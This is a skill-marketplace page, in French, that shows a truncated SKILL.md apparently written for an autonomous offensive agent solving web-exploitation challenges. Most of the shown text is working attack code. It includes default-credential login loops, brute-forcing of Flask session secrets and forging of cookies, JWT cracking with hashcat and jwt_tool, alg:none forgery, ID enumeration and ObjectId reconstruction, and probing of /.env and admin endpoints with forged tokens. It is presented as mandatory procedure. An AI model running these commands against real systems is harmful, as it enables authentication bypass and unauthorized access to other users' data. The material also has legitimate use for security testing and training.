Skip to main content

exploit-idor

Insecure Direct Object References (IDOR) — authorization bypass through predictable object references (sequential IDs, UUIDs, filenames, encoded IDs). Covers horizontal/vertical privilege escalation, ID enumeration, HTTP method tampering, and JWT sub claim manipulation.

Aller à l'installation

Informations de source

Dépôt
BitterSecurity/Decepticon
Dernière activité de la source
2 juin 2026 à 18:57
Langue détectée de SKILL.md
anglais
Étoiles
5 522
Forks
1 048

Options d'installation

Le prompt qui vérifie d'abord la source est sélectionné par défaut. Vous pouvez passer à une commande directe ou télécharger une copie locale.

Vérifiez les fichiers source

Lisez SKILL.md et les fichiers associés affichés par SkillsMP avant de décider de l'installer.

Affichage de SKILL.md

SKILL.md
Instructions source · Aperçu en lecture seule
name
exploit-idor
description
Insecure Direct Object References (IDOR) — authorization bypass through predictable object references (sequential IDs, UUIDs, filenames, encoded IDs). Covers horizontal/vertical privilege escalation, ID enumeration, HTTP method tampering, and JWT sub claim manipulation.
metadata
{"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"idor, insecure direct object reference, authorization bypass, access control, object reference, id enumeration, sequential id, uuid guessing, horizontal privilege, vertical privilege, broken access control, parameter tampering, user id, object id"}
# Insecure Direct Object References (IDOR) Exploits missing or inadequate authorization checks on object references (IDs, filenames, GUIDs), allowing access to other users' resources. ## Default Credentials Fast-Path (when `default_credentials` is a co-tag) When `default_credentials` appears alongside `idor` in the challenge tags, attempt login FIRST before any IDOR probing: ```bash # Try top default credential pairs in your FIRST exploit bash call for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do user="${creds%%:*}"; pass="${creds##*:}" resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \ -d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null) code=$(echo "$resp" | tail -1) [ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break done ``` A valid session reduces all subsequent attack surface to authenticated endpoints — this is the fastest path to flag for dual-tag challenges. Only proceed to IDOR enumeration after confirming or exhausting default credentials. ## Flask Session Cookie — SECRET_KEY Brute-Force Fast-Path **When to use**: After logging in (default creds), if the session cookie starts with `eyJ` (base64) and contains a `.` separator without a JWT `alg` header — it is a Flask itsdangerous cookie. If modifying your own ID in the cookie to another user's ID causes a signature rejection, brute-force the SECRET_KEY IMMEDIATELY before doing any endpoint enumeration. Evidence pattern (real-world evidence): `test:test` → `user_id=10032` in Flask session → IDOR target at `/order/<id>/receipt` → cookie rejected when manually modifying user_id → SECRET_KEY `your_secret_key` found via flask-unsign → forged cookie with target user_id → flag. ```bash # 1. Decode the Flask session cookie pip install flask-unsign -q 2>/dev/null flask-unsign --decode --cookie '<SESSION_COOKIE_VALUE>' # 2. Brute-force the signing secret (try rockyou first, then common secrets) flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval # Fallback: try common weak secrets inline for secret in "secret" "secret_key" "your_secret_key" "flask_secret" "mysecret" "password" "admin" "changeme" "dev" "production"; do result=$(flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --secret "$secret" 2>/dev/null) && echo "SECRET: $secret" && break done # 3. Once secret found — forge a cookie with admin/target user_id flask-unsign --sign --cookie "{'user_id': <TARGET_ID>, 'username': 'admin'}" --secret '<RECOVERED_SECRET>' # 4. Use forged cookie to access target resources curl -s "http://<TARGET>/order/<TARGET_ID>/receipt" -H "Cookie: session=<FORGED_COOKIE>" -o /tmp/idor_resp.txt grep -iE 'secret|token|key|cred|flag' /tmp/idor_resp.txt ``` **Decision rule**: If the flask-unsign crack against rockyou is not yielding the secret (no progress output), pivot to endpoint enumeration with your own valid session (horizontal IDOR without cookie forgery may still work). ## Detection Strategy ```bash # Horizontal IDOR — access another user's data curl -s 'https://<TARGET>/api/user/1001/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_own.txt curl -s 'https://<TARGET>/api/user/1002/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_other.txt diff idor_own.txt idor_other.txt # Vertical IDOR — access admin resources as regular user curl -s 'https://<TARGET>/api/admin/users' -H 'Cookie: session=<USER_SESSION>' -o idor_vertical.txt # ID enumeration for id in $(seq 1 100); do STATUS=$(curl -s -o /dev/null -w '%{http_code}' "https://<TARGET>/api/document/${id}" -H 'Cookie: session=<SESSION>') echo "ID $id: $STATUS" done > idor_enum.txt ``` ## Common IDOR Patterns | Pattern | Example | Test | |---------|---------|------| | Sequential integer IDs | `/api/invoice/1001` | Increment/decrement ID | | UUID/GUID | `/api/doc/550e8400-e29b-41d4-a716-446655440000` | Capture other UUIDs from responses | | Filename | `/download?file=report_userA.pdf` | Change username in filename | | Encoded ID | `/profile?id=MTAwMQ==` (base64) | Decode, modify, re-encode | | Hashed ID | `/api/user/5d41402abc4b` | Check if MD5/SHA1 of predictable value | | JWT sub claim | `{"sub": "1001"}` | Modify sub claim (if no signature check) | ## Predictable ID Generation Patterns (when IDs look random but encode account-derivable data) Some IDs that LOOK random (long integers, hex strings, timestamps) are deterministic transformations of public data — registration order, account email, signup timestamp, or the user's own ID + a fixed offset. When the target says "find the first user" / "access account #1" / "view the earliest registered user," the bypass is usually NOT brute-force enumeration but RECONSTRUCTING the ID generator from observed samples. Always collect THREE observed IDs first (yours + at least two others from public lists, comments, or response leaks). Then check each pattern: ```bash # Sample: your own ID and any leaked peer IDs (from a /users listing, a comment author field, a leaderboard, etc.) MY_ID="1734567890123" PEER_A="1734567891456" PEER_B="1734567894892" # 1. Sequential / counter — diffs are small consistent integers echo "$((PEER_A - MY_ID))" # e.g. 1333 → counter increment per account echo "$((PEER_B - PEER_A))" # e.g. 3436 → spacing maps to signup gap # 2. Unix timestamp millisecond — ID has 13-digit shape, decodes to a sensible date date -d "@$((MY_ID / 1000))" '+%Y-%m-%d %H:%M:%S' # if plausible, ID is timestamp_ms # 3. Snowflake — 64-bit ID: timestamp_ms (41 bits) | machine_id (10) | sequence (12) python3 -c " mid = int('$MY_ID') ts_ms = (mid >> 22) + 1288834974657 # Twitter snowflake epoch offset import datetime print(datetime.datetime.utcfromtimestamp(ts_ms / 1000).isoformat()) " # 4. Hash of public value (md5/sha1/sha256 of email, username, signup time) for known_email in "admin@target.com" "test@target.com" "first@target.com"; do for algo in md5 sha1 sha256; do HASH=$(echo -n "$known_email" | openssl dgst -$algo | awk '{print $2}') echo "$algo($known_email) = $HASH" done done # 5. Reversible encoding — base64/hex/zlib of structured payload echo "$MY_ID" | base64 -d 2>/dev/null echo "$MY_ID" | xxd -r -p 2>/dev/null | head -c 200 python3 -c "import base64, zlib; print(zlib.decompress(base64.b64decode('$MY_ID')))" 2>/dev/null ``` **Decision rule**: once one pattern aligns, derive the target ID directly. Examples: - Timestamp-based + "first user" challenge → compute `min(observed_ids)` and walk backwards by typical signup gap to find ID #1's timestamp; or query the app for the earliest known created_at and reconstruct. - Sequential counter + "first user" → use `1`, `0`, `-1` (off-by-one) and the smallest leaked ID minus its observed offset. - Snowflake + "specific account at known time" → compose timestamp_ms backwards: `(target_ts_ms - epoch) << 22 | sequence`. - Hashed public value → enumerate known emails/usernames through the hash function; the value that hashes to a known peer ID confirms the algorithm. **Anti-pattern**: brute-forcing sequential integers when the ID space is 13+ digits — at 1 req/sec the search exhausts the budget before reaching meaningful candidates. Always check pattern alignment first. ### MongoDB ObjectId Reconstruction MongoDB ObjectIds look random but are a deterministic composite: `[4B timestamp][3B machine identifier][2B process id][3B counter]`. When the target app uses ObjectIds in URL paths (`/profile/<oid>`, `/users/<oid>/data`, `/api/doc/<oid>`) AND leaks ANY timing or ordering info about peer accounts, you can reconstruct a target ObjectId without enumeration: ``` target_oid_hex = <target_timestamp_sec_hex_4B> + <my_machine_pid_hex_5B> + <target_counter_hex_3B> ``` The middle 5 bytes (machine+pid) are SHARED across every ObjectId generated by the same mongod process — extract them once from your own observable ObjectId (registration response, profile URL, API response). **Information leak surfaces that complete the formula**: | Leak surface | Provides | |---|---| | `/starttime`, `/about`, `/info`, "Member since" page | Target account's creation Unix timestamp (4B portion) | | Registration response with `distance` / `offset` / `you are N from target` | Counter offset from your own counter to target's (3B portion) | | Sequential signup observation (register 2-3 accounts back-to-back) | Counter increment per second + base counter at known timestamp | | Object listing with creation timestamps (admin panels, audit logs) | Direct counter samples | **Concrete reconstruction**: ```bash # Step 1 — observe self ObjectId (from /register response, /profile URL, etc.) MY_OID="65f4a3b2c1d2e3f4a5b6c7d8" # 24 hex chars = 12 bytes MY_TS_HEX="${MY_OID:0:8}" # first 4B = timestamp MID_PID_HEX="${MY_OID:8:10}" # bytes 5-9 (10 hex chars) — machine+pid (SHARED) MY_COUNTER_HEX="${MY_OID:18:6}" # last 3B = counter # Step 2 — obtain target's timestamp + counter offset TARGET_TS_SEC=$(curl -s "http://<TARGET>/starttime" | grep -oE '[0-9]{10}') DISTANCE=$(grep -oE 'distance.*[0-9]+' /tmp/register_resp.txt | head -1 | grep -oE '[0-9]+$') # Step 3 — derive target ObjectId TARGET_TS_HEX=$(printf '%08x' "$TARGET_TS_SEC") MY_COUNTER_DEC=$((16#$MY_COUNTER_HEX)) TARGET_COUNTER_DEC=$((MY_COUNTER_DEC - DISTANCE)) TARGET_COUNTER_HEX=$(printf '%06x' "$TARGET_COUNTER_DEC") TARGET_OID="${TARGET_TS_HEX}${MID_PID_HEX}${TARGET_COUNTER_HEX}" # Step 4 — IDOR with derived ObjectId curl -s "http://<TARGET>/profile/${TARGET_OID}" ``` **Decision rule**: when ANY of (a) app uses ObjectId in URL paths, (b) self-observable ObjectId is in hand, (c) target timestamp is disclosed, (d) counter offset is disclosed or derivable from sequential registration — compute the target ObjectId directly. Skip enumeration; 24-hex-char keyspace is computationally unreachable but algorithmically trivial. ## JWT / Session Signature Cracking (when forged tokens are rejected) If you decoded a JWT/session token, modified a claim, and the server rejected the modified token (signature invalid), the next step is NOT manual endpoint enumeration — it is signature secret recovery. With the secret you can sign a valid privesc'd token in one operation. ### Flask session (itsdangerous) ```bash # Detect: cookie starts with "eyJ" base64 OR contains a "." separator with no JWT alg header pip install flask-unsign 2>/dev/null flask-unsign --decode --cookie '<COOKIE_VALUE>' flask-unsign --unsign --cookie '<COOKIE_VALUE>' --wordlist /usr/share/wordlists/flask-session-cookie-bruteforcer.txt # Or with rockyou flask-unsign --unsign --cookie '<COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt # Once secret found: flask-unsign --sign --cookie "{'user_id': 1}" --secret '<RECOVERED_SECRET>' ``` ### Generic JWT (HS256) ```bash # jwt_tool — interactive cracker jwt_tool '<JWT>' -C -d /usr/share/wordlists/rockyou.txt # hashcat mode 16500 (JWT HS256) echo '<JWT>' > jwt.hash hashcat -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt --force # Once secret found, forge with python: python3 -c "import jwt; print(jwt.encode({'user_id':1,'sub':'admin'}, '<SECRET>', algorithm='HS256'))" ``` ### Decision rule (MANDATORY) | State | Next action | |-------|-------------| | JWT decoded, claim modified, server rejected | Crack signing secret FIRST (flask-unsign or jwt_tool against a common-passwords wordlist) before manual enumeration | | Crack succeeds | Forge token with desired claims, retry IDOR — done | | Crack fails (no wordlist hit, RS256/asymmetric) | THEN fall back to endpoint enumeration / IDOR via form parameters | | RS256 detected | Try `alg: none` confusion (`jwt_tool -X a`) before assuming uncrackable | **Why this rule exists**: JWT/session signature validation is often implemented with weak secrets that crack against a common-passwords wordlist immediately. Spending the dispatch on manual endpoint guessing while the signing secret is one wordlist run away is a critical misallocation. ### Post-Forgery Endpoint Probe (MANDATORY after JWT forgery succeeds) After successfully forging a JWT (alg:none, key confusion, or cracked secret), immediately probe these endpoints with the forged token as BOTH Bearer header and cookie — do not assume the flag is at a single path: ```bash FORGED="<FORGED_JWT>" BASE="http://<TARGET>" for path in /admin /api/admin /api/users /dashboard /.env /api/flag /admin/flag /api/admin/flag; do for method in GET POST; do STATUS=$(curl -s -o /tmp/jwt_probe.txt -w '%{http_code}' -X "$method" \ -H "Authorization: Bearer $FORGED" -b "token=$FORGED" "$BASE$path") echo "$method $path: $STATUS" [ "$STATUS" = "200" ] && grep -iE 'secret|token|key|cred|flag' /tmp/jwt_probe.txt | head -3 && break 2 done done # If all 403 — try additional privilege claims alongside the sub modification for claims in '{"sub":"admin","role":"admin"}' '{"sub":"admin","is_admin":true}' '{"sub":"admin","admin":1}'; do
Voir sur GitHub
Ce SKILL.md est tres volumineux, SkillsMP affiche donc ici seulement la premiere section. Voir sur GitHub